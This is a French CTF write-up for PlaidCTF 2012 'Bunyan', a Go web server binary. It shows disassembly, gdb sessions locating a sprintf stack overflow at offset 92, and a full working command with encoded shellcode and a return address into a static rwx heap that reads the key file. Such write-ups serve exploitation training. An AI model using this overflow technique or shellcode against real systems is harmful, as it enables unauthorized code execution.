PlaidCTF 2012 > Bunyan - pwn 200
Le bunyan était un serveur web écrit en GO, compilé pour x86. L'exécutable était dans /home/paul/, la racine du serveur Web étant /home/paul/www et la clé se trouvant en dehors de la racine, dans /home/paul. Il y avait donc deux solutions a priori : trouver un path traversal pour sortir de la racine ou pwner le serveur. Le serveur était sgid sur l'utilisateur ayant les droits sur le flag et la racine du serveur Web. Je n'ai pas mis beaucoup de code dans ce write-up, regardez-le si vous voulez, ce n'est pas joli à voir :]
Utilisation de l'exécutable :
$ ./webapp -h Usage of ./webapp: -address=":8080": Address to listen on -logfmt=%d] : Log messages use this format for the prefix -loglevel=0: Log all messages at this level or below
La première tentation est donc d'utiliser une format string, mais les premiers essais montrent qu'il y a une validation des paramètres :
$ ./webapp -logfmt=%n invalid value "%n" for flag -logfmt: Invalid fmt specifier Usage of ./webapp: -address=":8080": Address to listen on -logfmt=%d] : Log messages use this format for the prefix -loglevel=0: Log all messages at this level or below $ ./webapp -logfmt=AAAAAAAAAAAAAAAAAAAA Usage of ./webapp: invalid value "AAAAAAAAAAAAAAAAAAAA" for flag -logfmt: Invalid length -address=":8080": Address to listen on -logfmt=%d] : Log messages use this format for the prefix -loglevel=0: Log all messages at this level or below
On cherche donc à trouver la fonction de validation à partir d'un de ces messages d'erreur. On trouve "Invalid fmt specifier" à 0x081B6718 qui est notamment référencé par la fonction levellog___logfmt__check à 0x08061D16 qui ressemble bien à ce que l'on cherche. Le GO assemblé est assez loin de ce qu'on a l'habitude de voir mais les messages d'erreurs et les noms de fonctions nous permettent de comprendre assez facilement le workflow. La fonction de validation vérifie plusieurs choses :
Avec toutes ces restrictions sur la chaîne on a du mal à voir la possibilité d'une format strings ici. On part donc en quête des méthodes de traitement des requêtes.
Avec les symboles de l'application on en conclut assez vite que le serveur Web est construit à partir du package GO net.http. Après lecture de la documentation, on voit que la définition d'une méthode de handling des requêtes passe par un appel à http.HandlerFunc ou http.Handle. On trouve en effet un appel à http.Handle au sein de la fonction main.main, ce qui nous permet de trouver un premier espace de noms en dehors des packages GO: main.
$ objdump -t ./webapp | grep "main\." 082cd858 g 0 .gopclntab 00000008 main.address 082d8fe1 g 0 .gopclntab 00000001 main.initdone- 08048c00 g F .text 00000053 main.init-1 08048c53 g F .text 000001c6 main.main 08048e19 g F .text 0000005d main.init
En consultant ces méthodes, on voit que main.main enchaîne des appels à flag.Parse (lecture de la ligne de commandes), net.http.Handle, net.http.ListenAndServe et levellog.Log. main.init nous donne les autres espaces de noms personalisés : fileserver et levellog que nous avions déjà rencontré. Vous l'avez compris, fileserver contient notamment la fonction ServeHTTP qui va servir les requêtes GET, HEAD et POST. Dans la vraie vie, on passe toute une nuit joyeuse à reverser le GO barbare et on se écarte les possiblités de directory traversal : le path fournit au GET est en effet validé de nombreuses fois par path.Clean (avant la transmision à serveHTTP et pendant). De plus, le path doit commencer par un / sous peine de recevoir un Bad Request 400. Il ne reste plus qu'un espace de noms à reverser : levellog.
Les fonctions de levellog sont appellées dès qu'une erreur intervient et sont affichées si le level fournit (levels qui sont des entiers hardcodés) est inférieur ou égal à levellog.flag.loglevel (par défaut 0, ou valeur arbitraire si défini avec les arguments). Les erreurs affichées sont essentiellement les différentes mauvaises requêtes effectuées (path non existant, fichier non existant, etc.) ou un échec lors de la connexion du serveur:
$ ./webapp --address=8080 0] Failure missing port in address 8080 listening on 8080 $ ./webapp -loglevel=1 1] Listening on :8080 1] Error (open /home/paul/www/luagr: no such file or directory) could not open /luagr 1] Cannot serve directory /
Les deux dernières erreurs s'obtiennent avec un GET /luagr et un GET / respectivement. Etudions donc la fonction appellée dans tous ces cas, levellog.Log :
.text:080621A0 levellog_Log proc near mov ecx, large gs:0 mov ecx, [ecx-8] cmp esp, [ecx] ja short loc_80621BA xor edx, edx mov eax, 0Ch call runtime_morestack loc_80621BA: sub esp, 40h mov ebp, [esp+40h+arg_0] mov ebx, ds:levellog_flag_loglevel cmp ebp, ebx jg loc_80622E0 xor eax, eax lea edi, [esp+40h+var_8] stosd stosd lea ebx, [esp+40h+var_8] mov [esp+40h+var_14], 1 mov [esp+40h+var_10], 1 mov [esp+40h+var_18], ebx mov [esp+40h+var_40], offset off_8146754 mov [esp+40h+var_3C], ebp call runtime_convT2E lea ebx, [esp+40h+var_38] mov esi, ebx lea ebx, [esp+40h+var_18] mov edi, [ebx] cld movsd movsd lea esi, levellog_flag_logfmt lea edi, [esp+40h+var_40] cld movsd movsd lea esi, [esp+40h+var_18] lea edi, [esp+40h+var_38] cld movsd movsd movsd call fmt_Sprintf lea ebx, [esp+40h+var_2C] mov esi, ebx lea edi, [esp+40h+var_24] cld movsd movsd lea esi, [esp+40h+var_24] lea edi, [esp+40h+var_40] cld movsd movsd call levellog__Cfunc_CString mov edx, [esp+40h+var_38] mov ebx, edx mov [esp+40h+var_1C], edx mov [esp+40h+var_40], edx push offset levellog__Cfunc_free push 4 call runtime_deferproc pop ecx pop ecx test eax, eax jnz short loc_80622E0 mov ebx, [esp+40h+arg_8] cmp ebx, 80h jle short loc_806229E lea esi, [esp+40h+arg_4] lea edi, [esp+40h+var_40] cld movsd movsd mov [esp+40h+var_38], 0 mov [esp+40h+var_34], 80h call runtime_slicestring lea ebx, [esp+40h+var_30] mov esi, ebx lea edi, [esp+40h+arg_4] cld movsd movsd loc_806229E: lea esi, [esp+40h+arg_4] lea edi, [esp+40h+var_40] cld movsd movsd call levellog__Cfunc_CString mov edx, [esp+40h+var_38] mov ebx, edx mov [esp+40h+var_C], edx mov [esp+40h+var_40], edx push offset levellog__Cfunc_free push 4 call runtime_deferproc pop ecx pop ecx test eax, eax jnz short loc_80622E0 mov ebx, [esp+40h+var_1C] mov [esp+40h+var_40], ebx mov ebx, [esp+40h+var_C] mov [esp+40h+var_3C], ebx call levellog__Cfunc_Log loc_80622E0: call runtime_deferreturn add esp, 40h retn levellog_Log endp
Bon finalement j'ai pas pu résister à montrer la beauté de ce que GO produit. Ceci dit, en faisant abstraction de la manière dont les arguments sont passés de fonction en fonction (mov esi, src ; mov edi, dest ; movsd), on comprend assez facilement le workflow de celle-ci :
La première fois que j'ai diagonalisé la fonction j'ai pensé que le Sprintf se chargeait directement d'imprimer le format. QUE NENNI. Ce sprintf est simplement responsable de l'application du format passé en paramètre. Le reste est bien effectué dans la fonction levelLog__Cfunc_Log. Cette fonction ne fait qu'appeller _cgo_a3b45f2da239_Cfunc_Log qui elle-même appelle Log :
.text:080624D0 Log proc near sub esp, 9Ch mov eax, [esp+9Ch+arg_4] mov [esp+9Ch+var_8], ebx call __i686_get_pc_thunk_bx_0 add ebx, 257B17h mov [esp+9Ch+var_4], esi lea esi, [esp+9Ch+var_8C] mov [esp+9Ch+var_90], eax mov eax, [esp+9Ch+arg_0] mov [esp+9Ch+var_9C], esi mov [esp+9Ch+var_94], eax lea eax, (_tmp_go_build279009652_levellog_a_c_log_o___rodata_str1_1_ - 82BA000h)[ebx] ; "%s%s" mov [esp+9Ch+var_98], eax call near ptr _plt_0+20h ; sprintf mov [esp+9Ch+var_9C], esi call near ptr _plt_0+30h ; puts mov ebx, [esp+9Ch+var_8] mov esi, [esp+9Ch+var_4] add esp, 9Ch retn Log endp
Nous l'avons compris tard, mais les fonctions cgo sont en fait la possibilité en GO d'intégrer du code C. Ici, on voit qu'on a un sprintf(stack_var, "%s%s", arg1, arg2) qui ressemble bien à un stack overflow. On effectue donc quelques expérimentations pour observer la taille des variables lorsqu'elles arrivent au Sprintf:
$ gdb -q ./webapp (gdb) b *Log+103 Breakpoint 1 at 0x8062537 (gdb) r --address=`python -c "print 'A'*0xA0"` 0] Failure missing port in address AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA Breakpoint 1, 0x08062537 in Log () (gdb) x/4x $esp-16 0xffffd45c: 0x41414141 0x00414141 0x082ba000 0x082cdc88 (gdb) r --address=`python -c "print 'A'*0xA0"` -logfmt=%8xAAAAAAAA 0AAAAAAAAFailure missing port in address AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x08062537 in Log () (gdb) x/x $esp 0xffffd44c: 0x41414141 (gdb) r --address=`/pentest/exploits/framework/tools/pattern_create.rb 100` -logfmt=%8xAAAAAAAA 0AAAAAAAAFailure missing port in address Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1 Breakpoint 1, 0x08062537 in Log () (gdb) x/x $esp 0xffffd47c: 0x31644130 (gdb) q $ /pentest/exploits/framework/tools/pattern_offset.rb 0x31644130 100 92 $ ./webapp --address=`python -c "print 'A'*92 + 'BBBB'"` -logfmt=%8xAAAAAAAA 0AAAAAAAAFailure missing port in address AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB unexpected fault address 0x42424242 throw: fault [signal 0xb code=0x1 addr=0x42424242 pc=0x42424242] [...] $
On essaye donc en premier lieu un overflow avec une chaîne plus grande que la taille de la pile et on voit qu'elle est tronquée. Ceci dit, on voit qu'on est seulement à 9 caractères de l'esp alors qu'on a encore de la marge avec le premier %s: le logfmt qui fait maximum 12 caractères + la taille de la précision du format fournit - 2. En réessayant avec un pattern metasploit, on trouve la position de l'esp dans notre payload.
Il reste un dernier détail à régler : ASLR + NX. Il faut donc trouver une adresse statique quelque part. On regarde la position sur le heap de notre payload avant l'appel à levellog__Cfunc_CString :
(gdb) b *0x080622A8 Breakpoint 4 at 0x80622a8: file /tmp/build/src/levellog/log.go, line 92. (gdb) r Breakpoint 4, 0x080622a8 in levellog.Log (level=0, message=...) at /tmp/build/src/levellog/log.go:92 (gdb) x/s $eax 0x1886e000: "Failure missing port in address Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A listening on Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7"... (gdb) x/s $eax+32 0x1886e020: "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A listening on Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac"... (gdb) r Breakpoint 4, 0x080622a8 in levellog.Log (level=0, message=...) at /tmp/build/src/levellog/log.go:92 92 in /tmp/build/src/levellog/log.go (gdb) x/s $eax+32 0x1886e020: "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A listening on Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac"... (gdb) info proc process 5942 cmdline = '/home/paul/webapp' cwd = '/home/paul' exe = '/home/paul/webapp' (gdb) shell cat /proc/5942/maps [...] 082ce000-08700000 rw-p 00000000 00:00 0 [heap] 08800000-187e0000 ---p 00000000 00:00 0 187e0000-18900000 rwxp 00000000 00:00 0 [...]
On voit donc que GO nous gratifie d'un heap statique rwx et on a l'adresse du début de notre payload. Il ne reste plus qu'à y insérer un shellcode pour lire le contenu du fichier key :
$ ./webapp --address="`python -c \"print '\xda\xca\xbe\x40\xfb\x4e\xdd\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x0e\x83\xea\xfc\x31\x72\x15\x03\x72\x15\xa2\x0e\x24\xd6\x7a\x68\xeb\x8e\x12\xa7\x6f\xc6\x05\xdf\x40\xab\xa1\x20\xf7\x64\x53\x48\x69\xf2\x70\xd8\x9d\x17\x76\xdd\x5d\x7b\x17\xa9\x7d\x54\xbf\x3e\x13\xcf\x10\xb1\x8a\x7a\x02\x1e\x26\xe0\xa3\x60\xef' + '\xb9\xda\x80\xc2\xbe' + 'A'*11 + '\x20\xe0\x86\x18'\"`" -logfmt=%8xAAAAAAAA 0AAAAAAAAFailure missing port in address ??@?N??t$?Z+????1r??r??$?zh??o??@?? ?dSHi?p??v?]{??}T?>?????z??&??`????AAAAAAAAAAA??? 424f7b332c8fb17aeffbc793da515b41
Tout a fonctionné comme prévu et on obtient donc le flag : 424f7b332c8fb17aeffbc793da515b41.